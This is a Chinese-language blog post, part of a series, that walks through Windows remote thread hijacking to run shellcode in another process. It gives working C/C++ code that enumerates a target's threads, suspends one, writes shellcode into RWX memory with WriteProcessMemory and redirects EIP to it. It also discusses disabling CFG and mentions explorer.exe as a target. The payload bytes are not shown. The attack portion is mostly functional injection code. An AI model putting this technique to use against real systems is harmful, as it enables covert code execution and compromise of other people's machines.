https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;

  先说第一种思路,如下:

  核心代码解析如下:

  1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;

#include <windows.h>
#include <stdio.h> int main()
{
printf("dead looping...............\n");
while (TRUE)
{ }
}

  注意:本人测试环境:

  win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;

  

  2、遍历进程,找到目标进程后再遍历该进程名下其他线程:

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
//while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
} victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
if (Wow64SuspendThread(threadHandle) == -) //挂起线程失败
{
continue;
}
printf("threadId:%d\n", threadId);
if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
{
printf("threadID = %d inject success!", threadId);
CloseHandle(victimProcess);
CloseHandle(threadHandle);
break;
}
}

  3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellAddress == NULL)
{
printf("VirtualAlloc Error\n");
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
ResumeThread(hThread);
return FALSE;
} WOW64_CONTEXT ctx = { };
ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx))
{
int a = GetLastError();
printf("GetThreadContext Error:%d\n", a);
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
ResumeThread(hThread);
return FALSE;
}
DWORD currentEIP = ctx.Eip;
if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("write shellcode error\n");
ResumeThread(hThread);
return FALSE;
}
ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
if (!Wow64SetThreadContext(hThread, &ctx))
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("set thread context error\n");
ResumeThread(hThread);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}

效果:弹出了messagebox:

也在目标进程的目录下生成了文件:

  4、最后做一些总结:

  • 为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
  • shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:

    

    从process hacker看,线程并未改变,还是之前的那个:

    

    那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:

    

    好在自己写的测试进程不复杂,很容易找到答案,分析如下:

(1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;

(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:

            

    从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;

        

这里也能看到栈顶是EntryPoint的地址:

  5、 这次注入shellcode虽说成功,问题也很明显:

  • 手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
  • 没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
  • 类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;

     后续会通过其他方案挨个解决这些问题!

windows:shellcode 远程线程hook/注入(一)的更多相关文章

  1. windows:shellcode 远程线程hook/注入(三)

    今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...

  2. windows:shellcode 远程线程hook/注入(二)

    https://www.cnblogs.com/theseventhson/p/13218651.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...

  3. windows:shellcode 远程线程hook/注入(五)

    前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...

  4. windows:shellcode 远程线程hook/注入(四)

    https://www.cnblogs.com/theseventhson/p/13236421.html  这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...

  5. 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。

    windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...

  6. 使用远程线程来注入DLL

    使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...

  7. 【windows核心编程】远程线程DLL注入

    15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...

  8. 实现远程线程DLL注入

    ### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...

  9. Dll注入:X86/X64 远程线程CreateRemoteThread 注入

    远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...

随机推荐

  1. java动态代理基本原理及proxy源码分析一

    本系列文章主要是博主在学习spring aop的过程中了解到其使用了java动态代理,本着究根问底的态度,于是对java动态代理的本质原理做了一些研究,于是便有了这个系列的文章 为了尽快进入正题,这里 ...

  2. python数据处理(一)之供机器读取的数据 csv,json,xml

    代码与资料 https://github.com/jackiekazil/data-wrangling 1 csv 1.1导入csv数据 1.2将代码保存到文件中并在命令行中运行 2.json 2 导 ...

  3. 集群多JVM分布式锁实现

    基于数据库表乐观锁 (基本废弃) 要实现分布式锁,最简单的⽅方式可能就是直接创建⼀一张锁表,然后通过操作该表中的数据来实现了了. 当我们要锁住某个⽅法或资源时,我们就在该表中增加一条记录,想要释放锁的 ...

  4. POJ 1047 Round and Round We Go 最详细的解题报告

    题目链接:Round and Round We Go 解题思路:用程序实现一个乘法功能,将给定的字符串依次做旋转,然后进行比较.由于题目比较简单,所以不做过多的详解. 具体算法(java版,可以直接A ...

  5. 理解js中的几种设计模式

    目录 工厂模式 构造函数模式 原型模式 组合使用构造函数模式和原型模式 动态原型模式 其它模式 工厂模式 function createPerson(name, age){ var o = new O ...

  6. 性能测试必备知识(2)- 查看 Linux 的 CPU 相关信息

    做性能测试的必备知识系列,可以看下面链接的文章哦 https://www.cnblogs.com/poloyy/category/1806772.html 查看系统 CPU 信息 cat /proc/ ...

  7. ModuleNotFoundError: No module named 'phkit.pinyin'

    1 产生背景 在mac系统本地使用正常,在linux系统上phkit包缺少相应的python文件 2 解决方案 自己想出来,手动上传本地相关python代码到linux服务器 3 解决过程 首先通过项 ...

  8. LESS实战::not与:hover混合使用

    举个例子,有个HTML是这样的. <div class="item light">A</div> <div class="item" ...

  9. 今天发现郭的华为手机无法读写sd卡,找到了这个方法

    https://bbs.csdn.net/topics/391985867?page=1 华为P9是android 6.0 的==在API23+以上也就是安卓6.0以上的,进行了权限管理不止要在And ...

  10. 启动扫描闪退,因为忘了在manifest里申请手机镜头使用许可了。

    启动扫描闪退,因为忘了在manifest里申请手机镜头使用许可了.